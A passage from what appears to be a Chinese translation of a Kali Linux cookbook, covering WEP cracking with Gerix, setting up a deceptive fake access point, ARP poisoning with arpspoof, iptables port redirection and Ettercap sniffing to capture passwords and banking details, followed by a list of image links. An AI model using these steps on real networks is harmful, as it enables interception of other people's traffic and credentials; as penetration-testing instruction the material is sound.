加密密码。我们通过启动 AirCrack 并选择我们想要的接口来开始。下面,我们修改了 MAC 地址,这允许我们修改互联网上的身份,之后使用`airodump`搜索可用的无线网络来攻击。一旦我们找到了打算攻击的网络,我们使用`aireplay`来将我们的机器与正在攻击的无线设备的 MAC 地址关联。我们最后收集到了一些流量,之后暴力破解生成的 CAP 文件来获得无线密码。 186 | 187 | ## 9.3 无线网络自动化破解 188 | 189 | 这个秘籍中我们会使用 Gerix 将无线网络攻击自动化。Gerix 是AirCrack的自动化 GUI。Gerix 默认安装在 Kali Linux 中,并且能够加速我们的无线网络破解过程。 190 | 191 | ### 准备 192 | 193 | 为了执行这个秘籍中的任务,需要Kali 终端窗口的经验。也需要受支持的配置好的无线网卡,用于封包注入。在无线网卡的例子中,封包注入涉及到发送封包,或将它注入到双方已经建立的连接中。 194 | 195 | ### 操作步骤 196 | 197 | 让我们开始使用 Gerix 进行自动化的无线网络破解。首先下载它: 198 | 199 | 1. 使用`wget`,访问下面的网站并下载 Gerix: 200 | 201 | ``` 202 | wget https://bitbucket.org/Skin36/gerix-wifi-cracker-pyqt4/ downloads/gerix-wifi-cracker-master.rar 203 | ``` 204 | 205 | 2. 文件下载好之后,我们需要从 RAR 文件中解压数据。 206 | 207 | ``` 208 | unrar x gerix-wifi-cracker-master.ra 209 | ``` 210 | 211 | 3. 现在,为了保持文件一致,让我们将 Gerix 文件夹移动到` /usr/share `目录下,和其它渗透测试工具放到一起。 212 | 213 | ``` 214 | mv gerix-wifi-cracker-master /usr/share/gerix-wifi-cracker 215 | ``` 216 | 217 | 4. 让我们访问 Gerix 所在的目录: 218 | 219 | ``` 220 | cd /usr/share/gerix-wifi-cracker 221 | ``` 222 | 223 | 5. 我们键入下列命令来启动 Gerix: 224 | 225 | ``` 226 | python gerix.py 227 | ``` 228 | 229 | ![](img/9-3-1.jpg) 230 | 231 | 6. 点击`Configuration`(配置)标签页。 232 | 233 | 7. 在`Configuration`标签页中,选择你的无线接口。 234 | 235 | 8. 点击`Enable/Disable Monitor Mode `(开启/停止监控器模式)按钮。 236 | 237 | 9. 在监控模式启动之后,在` Select Target Network`(选择目标网络)下面,点击` Rescan Networks `(重新扫描网络)按钮。 238 | 239 | 0. 目标网络的列表会填满。选择无线网络作为目标。这里,我们选择了 WEP 加密的网络。 240 | 241 | 1. 点击 WEP 标签页。 242 | 243 | ![](img/9-3-2.jpg) 244 | 245 | 2. 在` Functionalities`(功能)中,点击` Start Sniffing and Logging `(开启嗅探和记录)按钮。 246 | 247 | 3. 点击 `WEP Attacks (No Client)`(WEP 攻击 无客户端)子标签页。 248 | 249 | 4. 点击` Start false access point authentication on victim `(开启目标上的伪造接入点验证)按钮。 250 | 251 | 5. 点击`Start the ChopChop attack`(开始断续攻击)按钮。 252 | 253 | 6. 在打开的终端窗口中,对`Use this packet `(使用这个封包)问题回答`Y`。 254 | 255 | 7. 完成之后,复制生成的`.cap`文件。 256 | 257 | 8. 点击` Create the ARP packet to be injected on the victim access point`(创建注入到目标接入点的 ARP 封包)按钮。 258 | 259 | 9. 点击`Inject the created packet on victim access point`(将创建的封包注入到目标接入点)按钮。 260 | 261 | 0. 在打开的终端窗口中,对`Use this packet `问题回答`Y`。 262 | 263 | 1. 收集了大约 20000 个封包之后,点击`Cracking`(破解)标签页。 264 | 265 | 2. 点击`Aircrack-ng – Decrypt WEP Password`(解密 WEP 密码)按钮。 266 | 267 | 这就结束了。 268 | 269 | ### 工作原理 270 | 271 | 这个秘籍中,我们使用了 Gerix 来自动化破解无线网络,为获得 WEP 密码。我们以启动 Gerix 并开启监控模式接口来开始这个秘籍。下面,我们从由 Gerix 提供的攻击目标的列表中选择我们的目标。在我们开始嗅探网络流量之后,我们使用 Chop Chop 来生成 CAP 文件。我们最后以收集 20000 个封包并使用 AirCrack 暴力破解 CAP 文件来结束这个秘籍。 272 | 273 | 使用 Gerix,我们能够自动化破解 WEP 密码的步骤,而不需要手动在终端窗口中键入命令。这是一种非常棒的方式,能够快速高效地破解 WEP 加密的网络。 274 | 275 | ## 9.4 使用伪造接入点连接客户端 276 | 277 | 这个秘籍中,我们会使用 Gerix 来创建并设置伪造接入点(AP)。建立伪造接入点让我们能够收集每个连接它的计算机的信息。人们通常会为了便利而牺牲安全。连接到开放无线接入点并发送简短的电子邮件,或登录到社交网络中非常方便。Gerix 是 AirCrack 的自动化 GUI。 278 | 279 | ### 准备 280 | 281 | 为了执行这个秘籍中的任务,需要Kali 终端窗口的经验。也需要受支持的配置好的无线网卡,用于封包注入。在无线网卡的例子中,封包注入涉及到发送封包,或将它注入到双方已经建立的连接中。 282 | 283 | 284 | ### 操作步骤 285 | 286 | 让我们开始使用 Gerix 创建伪造的 AP。 287 | 288 | 1. 让我们访问 Gerix 所在的目录: 289 | 290 | ``` 291 | cd /usr/share/gerix-wifi-cracker 292 | ``` 293 | 294 | 2. 键入下面的命令来使用 Gerix: 295 | 296 | ``` 297 | python gerix.py 298 | ``` 299 | 300 | ![](img/9-4-1.jpg) 301 | 302 | 3. 点击` Configuration`(配置)标签页。 303 | 304 | 4. 在`Configuration`标签页中,选择你的无线接口。 305 | 306 | 5. 点击`Enable/Disable Monitor Mode`(开启/停止监控器模式)按钮。 307 | 308 | 6. 在监控模式启动之后,在` Select Target Network`(选择目标网络)下面,点击` Rescan Networks `(重新扫描网络)按钮。 309 | 310 | 7. 目标网络的列表会填满。选择无线网络作为目标。这里,我们选择了 WEP 加密的网络。 311 | 312 | 8. 点击`Fake AP`(伪造接入点)标签页。 313 | 314 | ![](img/9-4-2.jpg) 315 | 316 | 9. 修改` Access Point ESSID`(接入点 ESSID),将其从`honeypot`修改为不会引起怀疑的名称。这里我们使用` personalnetwork`。 317 | 318 | ![](img/9-4-3.jpg) 319 | 320 | 0. 其它选项使用默认。为了开启伪造接入点,点击` Start Face Access Point`(开启伪造接入点)按钮。 321 | 322 | ![](img/9-4-4.jpg) 323 | 324 | 这就结束了。 325 | 326 | ### 工作原理 327 | 328 | 这个秘籍中,我们使用了 Gerix 来创建伪造接入点。创建伪造接入点是一个非常好的方式,来收集没有防备用户的信息。原因是,对于受害者来说,它们表现为正常的接入点,所欲会使它被用户信任。使用 Gerix,我们可以只通过几次点击来自动化创建和设置伪造接入点。 329 | 330 | ## 9.5 URL 流量操纵 331 | 332 | 这个秘籍中,我们会进行 URL 流量操纵攻击。URL 流量操纵非常类似于中间人攻击,因为我们会让去往互联网的流量首先通过我们的机器。我们使用 ARP 毒化来执行这个攻击。ARP 毒化是一种技巧,让我们能够在局域网中发送欺骗性的 ARP 信息给受害者。我们会使用 arpspoof 来执行这个秘籍。 333 | 334 | ### 操作步骤 335 | 336 | 让我们开始进行 URL 流量操纵。 337 | 338 | 1. 打开终端窗口并执行下面的命令,来配置 IP 表使我们能够劫持流量: 339 | 340 | ``` 341 | sudo echo 1 >> /proc/sys/net/ipv4/ip_forward 342 | ``` 343 | 344 | 2. 下面,我们启动 arpspoof 来毒化从受害者主机到默认网关的流量。这个例子中,我们在局域网中使用 Windows 7 主机,地址为` 192.168.10.115`。Arpspoof 有一些选项,包括: 345 | 346 | + `-i`允许我们选择目标接口。这里我们选择`wlan0`。 347 | + `-t`允许我们指定目标。 348 | 349 | > 整个命令的语法是`arpspoof –i [interface] –t [target IP address] [destination IP address]`。 350 | 351 | ``` 352 | sudo arpspoof –i wlan0 -t 192.168.10.115 192.168.10.1 353 | ``` 354 | 355 | 3. 接着,我们执行另一个 arpspoof 命令,它会从上一个命令的目的地(这里是默认网关)取回流量,并使流量经过我们的 Kali 主机。这个例子中,我们的 IP 地址是` 192.168.10.110`。 356 | 357 | ``` 358 | sudo arpspoof –i wlan0 -t 192.168.10.1 192.168.10.110 359 | ``` 360 | 361 | 这就结束了。 362 | 363 | ### 工作原理 364 | 365 | 这个秘籍中,我们使用 arpspoof 通过 ARP 毒化来操纵受害者主机到路由器之间的流量,使其通过我们的 Kali 主机。一旦流量被重定向,我们就可以对受害者执行其它攻击,包括记录键盘操作,跟踪浏览的网站,以及更多。 366 | 367 | ## 9.6 端口重定向 368 | 369 | 这个秘籍中,我们使用 Kali 来进行端口重定向,也叫做端口转发或端口映射。端口重定向涉及到接收发往某个端口,比如 80 的数据包,并把它重定向到不同的端口上,比如 8080。执行这类攻击的好处很多,因为你可以将安全的端口重定向为非安全的端口,或者将流量重定向到特定的设备的特定端口,以及其它。 370 | 371 | ### 操作步骤 372 | 373 | 374 | 让我们开始进行端口重定向/转发。 375 | 376 | 1. 打开终端窗口并执行下列命令来配置 IP 表,使我们能够劫持流量: 377 | 378 | ``` 379 | Sudo echo 1 >> /proc/sys/net/ipv4/ip_forward 380 | ``` 381 | 382 | 2. 下面,我们启动 arpspoof 来毒化去往默认网关的流量。这个例子中,默认网关的 IP 地址为 ` 192.168.10.1`。Arpspoof 有一些选项,包括: 383 | 384 | + `-i`允许我们选择目标接口。这里我们选择`wlan0`。 385 | 386 | > 整个命令的语法是`arpspoof –i [interface] [destination IP address]`。 387 | 388 | ``` 389 | sudo arpspoof –i wlan0 192.168.10.1 390 | ``` 391 | 392 | 3. 接着,我们执行另一个 arpspoof 命令,它会从上一个命令的目的地(这里是默认网关)取回流量,并使流量经过我们的 Kali 主机。这个例子中,我们的 IP 地址是` 192.168.10.110`。 393 | 394 | ``` 395 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 396 | ``` 397 | 398 | 这就结束了。 399 | 400 | ### 工作原理 401 | 402 | 这个秘籍中,我们使用 arpspoof 通过 ARP 毒化和 IPTables 路由,将网络上发到端口 80 的流量重定向到 8080。执行这类攻击的好处很多,因为你可以将安全的端口重定向为非安全的端口,或者将流量重定向到特定的设备的特定端口,以及其它。 403 | 404 | ## 9.7 嗅探网络流量 405 | 406 | 这个秘籍中,我们会实验网络流量的嗅探。网络流量嗅探涉及到拦截网络封包,分析它们,之后将流量解码(如果需要)来展示封包中的信息。流量嗅探特别在目标的信息收集中非常有用,因为取决于所浏览的网站,你可以看见所浏览的网址、用户名、密码和其它可以利用的信息。 407 | 408 | 我们在这个秘籍中会使用 Ettercap ,但是你也可以使用 Wireshark。处于展示目的,Ettercap 更加易于理解以及应用嗅探原理。一旦建立起对嗅探过程的理解,你可以使用 Wireshark 来进行更详细的分析。 409 | 410 | ### 准备 411 | 412 | 这个秘籍需要为封包注入配置好的无线网卡,虽然你可以在有线网络上执行相同步骤。在无线网卡的情况下,封包注入涉及到将封包发送或注入到双方已经建立的连接中。 413 | 414 | ### 操作步骤 415 | 416 | 让我们启动 Ettercap 来开始网络流量的嗅探。 417 | 418 | 1. 打开终端窗口并启动 Ettercap。使用`-G`选项加载 GUI: 419 | 420 | ``` 421 | ettercap –G 422 | ``` 423 | 424 | ![](img/9-7-1.jpg) 425 | 426 | 2. 我们以打开` Unified sniffing`(统一嗅探)开始。你可以按下`Shift + U`或者访问菜单中的` Sniff | Unified sniffing`。 427 | 428 | ![](img/9-7-2.jpg) 429 | 430 | 3. 选择网络接口。在发起 MITM 攻击的情况中,我们应该选项我们的无线接口。 431 | 432 | ![](img/9-7-3.jpg) 433 | 434 | 4. 下面,我们打开`Scan for hosts`(扫描主机)。可以通过按下`Ctrl + S`或访问菜单栏的` Hosts | Scan for hosts`来完成。 435 | 436 | ![](img/9-7-4.jpg) 437 | 438 | 5. 下面,我们得到了`Host List`(主机列表)。你可以按下`H`或者访问菜单栏的`Hosts | Host List`。 439 | 440 | ![](img/9-7-5.jpg) 441 | 442 | 6. 我们下面需要选择或设置我们的目标。在我们的例子中,我们选择`192.168.10.111`作为我们的`Target 1`,通过选中它的 IP 地址并按下` Add To Target 1 `(添加到目标 1)按钮。 443 | 444 | ![](img/9-7-6.jpg) 445 | 446 | 7. 现在我们能够让 Ettercap 开始嗅探了。你可以按下`Ctrl + W`或访问菜单栏的` Start | Start sniffing`。 447 | 448 | ![](img/9-7-7.jpg) 449 | 450 | 8. 最后,我们开始进行 ARP 毒化。访问菜单栏的`Mitm | Arp poisoning`。 451 | 452 | ![](img/9-7-8.jpg) 453 | 454 | 9. 在出现的窗口中,选中` Sniff remote connections`(嗅探远程连接)的选项。 455 | 456 | ![](img/9-7-9.jpg) 457 | 458 | 0. 取决于网络环境,我们会看到信息。 459 | 460 | ![](img/9-7-10.jpg) 461 | 462 | 1. 一旦我们找到了想要找的信息(用户名和密码)。我们可以关闭 Ettercap。你可以按下`Ctrl + E`或访问菜单栏的`Start | Stop sniffing`来完成它。 463 | 464 | ![](img/9-7-11.jpg) 465 | 466 | 2. 现在我们关闭 ARP 毒化,使网络恢复正常。 467 | 468 | ![](img/9-7-12.jpg) 469 | 470 | ### 工作原理 471 | 472 | 这个秘籍包括了 MITM 攻击,它通过 ARP 毒化来窃听由用户发送的无线网络通信。我们以启动 Ettercap 并扫描主机来开始这个秘籍。之后我们开始进行网络的 ARP 毒化。ARP 毒化是一种技巧,允许你发送伪造的 ARP 信息给局域网内的受害者。 473 | 474 | 我们以启动封包嗅探并停止 ARP 毒化让网络恢复正常来结束。这个步骤在侦测过程中很关键,因为在你停止毒化网络时,它让网络不会崩溃。 475 | 476 | 这个过程对于信息收集很有用,因为它能收集到网络上传输的信息。取决于网络环境,你可以收集到用户名、密码、银行账户详情,以及其它你的目标在网络上发送的信息。这些信息也可以用于更大型攻击的跳板。 477 | -------------------------------------------------------------------------------- /cover.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/cover.jpg -------------------------------------------------------------------------------- /img/.gitignore: -------------------------------------------------------------------------------- 1 | Thumb.db -------------------------------------------------------------------------------- /img/1-1-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-1-1.jpg -------------------------------------------------------------------------------- /img/1-1-10.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-1-10.jpg -------------------------------------------------------------------------------- /img/1-1-11.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-1-11.jpg -------------------------------------------------------------------------------- /img/1-1-12.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-1-12.jpg -------------------------------------------------------------------------------- /img/1-1-13.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-1-13.jpg -------------------------------------------------------------------------------- /img/1-1-14.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-1-14.jpg -------------------------------------------------------------------------------- /img/1-1-15.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-1-15.jpg -------------------------------------------------------------------------------- /img/1-1-16.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-1-16.jpg -------------------------------------------------------------------------------- /img/1-1-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-1-2.jpg -------------------------------------------------------------------------------- /img/1-1-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-1-3.jpg -------------------------------------------------------------------------------- /img/1-1-4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-1-4.jpg -------------------------------------------------------------------------------- /img/1-1-5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-1-5.jpg -------------------------------------------------------------------------------- /img/1-1-6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-1-6.jpg -------------------------------------------------------------------------------- /img/1-1-7.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-1-7.jpg -------------------------------------------------------------------------------- /img/1-1-8.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-1-8.jpg -------------------------------------------------------------------------------- /img/1-1-9.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-1-9.jpg -------------------------------------------------------------------------------- /img/1-2-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-2-1.jpg -------------------------------------------------------------------------------- /img/1-2-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-2-2.jpg -------------------------------------------------------------------------------- /img/1-2-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-2-3.jpg -------------------------------------------------------------------------------- /img/1-2-4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-2-4.jpg -------------------------------------------------------------------------------- /img/1-3-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-3-1.jpg -------------------------------------------------------------------------------- /img/1-3-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-3-2.jpg -------------------------------------------------------------------------------- /img/1-3-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-3-3.jpg -------------------------------------------------------------------------------- /img/1-3-4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-3-4.jpg -------------------------------------------------------------------------------- /img/1-3-5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-3-5.jpg -------------------------------------------------------------------------------- /img/1-3-6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-3-6.jpg -------------------------------------------------------------------------------- /img/1-3-7.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-3-7.jpg -------------------------------------------------------------------------------- /img/1-3-8.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-3-8.jpg -------------------------------------------------------------------------------- /img/1-4-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-4-1.jpg -------------------------------------------------------------------------------- /img/1-7-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-7-1.jpg -------------------------------------------------------------------------------- /img/1-7-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/1-7-2.jpg -------------------------------------------------------------------------------- /img/2-1-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/2-1-1.jpg -------------------------------------------------------------------------------- /img/2-1-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/2-1-2.jpg -------------------------------------------------------------------------------- /img/2-2-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/2-2-1.jpg -------------------------------------------------------------------------------- /img/2-3-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/2-3-1.jpg -------------------------------------------------------------------------------- /img/2-3-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/2-3-2.jpg -------------------------------------------------------------------------------- /img/2-4-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/2-4-1.jpg -------------------------------------------------------------------------------- /img/2-6-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/2-6-1.jpg -------------------------------------------------------------------------------- /img/2-6-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/2-6-2.jpg -------------------------------------------------------------------------------- /img/2-7-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/2-7-1.jpg -------------------------------------------------------------------------------- /img/2-7-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/2-7-2.jpg -------------------------------------------------------------------------------- /img/2-7-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/2-7-3.jpg -------------------------------------------------------------------------------- /img/2-7-4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/2-7-4.jpg -------------------------------------------------------------------------------- /img/3-1-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/3-1-1.jpg -------------------------------------------------------------------------------- /img/3-1-10.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/3-1-10.jpg -------------------------------------------------------------------------------- /img/3-1-11.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/3-1-11.jpg -------------------------------------------------------------------------------- /img/3-1-12.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/3-1-12.jpg -------------------------------------------------------------------------------- /img/3-1-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/3-1-2.jpg -------------------------------------------------------------------------------- /img/3-1-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/3-1-3.jpg -------------------------------------------------------------------------------- /img/3-1-4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/3-1-4.jpg -------------------------------------------------------------------------------- /img/3-1-5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/3-1-5.jpg -------------------------------------------------------------------------------- /img/3-1-6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/3-1-6.jpg -------------------------------------------------------------------------------- /img/3-1-7.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/3-1-7.jpg -------------------------------------------------------------------------------- /img/3-1-8.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/3-1-8.jpg -------------------------------------------------------------------------------- /img/3-1-9.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/3-1-9.jpg -------------------------------------------------------------------------------- /img/3-2-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/3-2-1.jpg -------------------------------------------------------------------------------- /img/3-2-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/3-2-2.jpg -------------------------------------------------------------------------------- /img/3-2-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/3-2-3.jpg -------------------------------------------------------------------------------- /img/3-3-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/3-3-1.jpg -------------------------------------------------------------------------------- /img/3-4-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/3-4-1.jpg -------------------------------------------------------------------------------- /img/3-4-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/3-4-2.jpg -------------------------------------------------------------------------------- /img/3-4-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/3-4-3.jpg -------------------------------------------------------------------------------- /img/3-4-4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/3-4-4.jpg -------------------------------------------------------------------------------- /img/3-4-5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/3-4-5.jpg -------------------------------------------------------------------------------- /img/3-4-6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/3-4-6.jpg -------------------------------------------------------------------------------- /img/4-1-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/4-1-1.jpg -------------------------------------------------------------------------------- /img/4-2-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kali-docs-cn/kali-linux-cookbook-zh/837e10b3f4ac259770adf0e4f2f0472f3d4b64c1/img/4-2-1.jpg 